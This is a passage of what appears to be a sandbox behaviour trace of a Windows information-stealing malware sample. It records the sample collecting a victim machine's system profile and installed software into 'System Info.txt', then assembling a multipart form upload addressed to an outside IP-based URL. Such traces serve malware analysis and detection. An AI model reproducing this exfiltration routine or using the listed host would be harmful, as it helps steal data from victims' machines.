(English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n") returned 3432 [0262.907] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b6a70 [0262.907] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x692790 [0262.907] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.910] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.910] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.910] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.910] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.910] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.910] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.910] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.912] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.912] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.912] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.912] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.912] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.912] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.912] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.912] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.912] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fae0, RandomBufferLength=0x4 | out: RandomBuffer=0x24fae0) returned 1 [0262.913] SystemFunction036 (in: RandomBuffer=0x24fac4, RandomBufferLength=0x4 | out: RandomBuffer=0x24fac4) returned 1 [0262.913] StrCpyW (in: psz1=0x692790, psz2="Content-Type: multipart/form-data; boundary=" | out: psz1="Content-Type: multipart/form-data; boundary=") returned="Content-Type: multipart/form-data; boundary=" [0262.913] lstrlenW (lpString="ugmW3NoA52y17iv7") returned 16 [0262.913] lstrlenW (lpString="Content-Type: multipart/form-data; boundary=") returned 44 [0262.913] LocalAlloc (uFlags=0x40, uBytes=0x178) returned 0x690af8 [0262.914] LocalAlloc (uFlags=0x40, uBytes=0xff78) returned 0x6f5188 [0262.917] lstrlenW (lpString="Content-Type: multipart/form-data; boundary=ugmW3NoA52y17iv7") returned 60 [0262.917] lstrlenW (lpString="") returned 0 [0262.917] LocalAlloc (uFlags=0x40, uBytes=0x178) returned 0x692790 [0262.923] lstrlenW (lpString="\r\n") returned 2 [0262.923] lstrlenW (lpString="Content-Type: multipart/form-data; boundary=ugmW3NoA52y17iv7") returned 60 [0262.923] LocalAlloc (uFlags=0x40, uBytes=0x17c) returned 0x690c78 [0262.954] lstrlenW (lpString="\r\n\r\n") returned 4 [0262.954] lstrlenW (lpString="Content-Type: multipart/form-data; boundary=ugmW3NoA52y17iv7\r\n") returned 62 [0262.954] LocalAlloc (uFlags=0x40, uBytes=0x184) returned 0x692790 [0262.957] LocalAlloc (uFlags=0x40, uBytes=0x184) returned 0x690c78 [0262.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ugmW3NoA52y17iv7", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0262.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ugmW3NoA52y17iv7", cchWideChar=-1, lpMultiByteStr=0x690c78, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ugmW3NoA52y17iv7", lpUsedDefaultChar=0x0) returned 17 [0262.957] LocalAlloc (uFlags=0x40, uBytes=0xc350) returned 0x6f5188 [0262.957] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x690e08 [0262.957] StrStrW (lpFirst="http://51.195.166.178/ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="://") returned="://51.195.166.178/ecfd0f9298730a5c1fb78c7f49eedff3" [0262.957] lstrlenW (lpString="51.195.166.178") returned 14 [0262.957] LocalAlloc (uFlags=0x40, uBytes=0x200000) returned 0x3370020 [0262.957] lstrlenA (lpString="ugmW3NoA52y17iv7") returned 16 [0262.957] LocalAlloc (uFlags=0x40, uBytes=0x30) returned 0x6e05d0 [0262.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x690c78, cbMultiByte=-1, lpWideCharStr=0x6e05d0, cchWideChar=16 | out: lpWideCharStr="ugmW3NoA52y17iv7") returned 0 [0262.958] lstrlenW (lpString="--") returned 2 [0262.958] lstrlenW (lpString="") returned 0 [0263.442] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6e08b0 [0263.454] lstrlenW (lpString="ugmW3NoA52y17iv7") returned 16 [0263.454] lstrlenW (lpString="--") returned 2 [0263.454] LocalAlloc (uFlags=0x40, uBytes=0x124) returned 0x6b6ea8 [0263.455] lstrlenW (lpString="\r\n") returned 2 [0263.455] lstrlenW (lpString="--ugmW3NoA52y17iv7") returned 18 [0263.455] LocalAlloc (uFlags=0x40, uBytes=0x128) returned 0x6e08b0 [0263.455] lstrlenW (lpString="Content-Disposition: form-data; name=\"file\"; filename=\"") returned 55 [0263.455] lstrlenW (lpString="--ugmW3NoA52y17iv7\r\n") returned 20 [0263.455] LocalAlloc (uFlags=0x40, uBytes=0x196) returned 0x691018 [0263.455] lstrlenW (lpString="System Info.txt") returned 15 [0263.455] lstrlenW (lpString="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"") returned 75 [0263.455] LocalAlloc (uFlags=0x40, uBytes=0x1b4) returned 0x6bec00 [0263.456] lstrlenW (lpString="\"") returned 1 [0263.456] lstrlenW (lpString="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt") returned 90 [0263.456] LocalAlloc (uFlags=0x40, uBytes=0x1b6) returned 0x691018 [0263.456] lstrlenW (lpString="\r\n") returned 2 [0263.456] lstrlenW (lpString="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"") returned 91 [0263.456] LocalAlloc (uFlags=0x40, uBytes=0x1ba) returned 0x6bec00 [0263.456] lstrlenW (lpString="Content-Type: application/x-object") returned 34 [0263.456] lstrlenW (lpString="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\n") returned 93 [0263.456] LocalAlloc (uFlags=0x40, uBytes=0x1fe) returned 0x691018 [0263.456] lstrlenW (lpString="\r\n") returned 2 [0263.457] lstrlenW (lpString="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object") returned 127 [0263.457] LocalAlloc (uFlags=0x40, uBytes=0x202) returned 0x6bec00 [0263.457] lstrlenW (lpString="\r\n") returned 2 [0263.457] lstrlenW (lpString="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n") returned 129 [0263.457] LocalAlloc (uFlags=0x40, uBytes=0x206) returned 0x691018 [0263.457] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n") returned 3432 [0263.457] lstrlenW (lpString="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n\r\n") returned 131 [0263.457] LocalAlloc (uFlags=0x40, uBytes=0x1cd6) returned 0x6ef5a0 [0263.458] lstrlenW (lpString="\r\n") returned 2 [0263.458] lstrlenW (lpString="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n\r\nSystem Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n") returned 3563 [0263.458] LocalAlloc (uFlags=0x40, uBytes=0x1cda) returned 0x6f1280 [0263.459] LocalFree (hMem=0x6e05d0) returned 0x0 [0263.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n\r\nSystem Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3571 [0263.459] LocalAlloc (uFlags=0x40, uBytes=0x100000) returned 0x3370020 [0263.460] LocalAlloc (uFlags=0x40, uBytes=0x100000) returned 0x3480020 [0263.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n\r\nSystem Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 \n\r\n", cchWideChar=-1, lpMultiByteStr=0x3370020, cbMultiByte=3571, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="--ugmW3NoA52y17iv7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"System Info.txt\"\r\nContent-Type: application/x-object\r\n\r\nSystem Information: 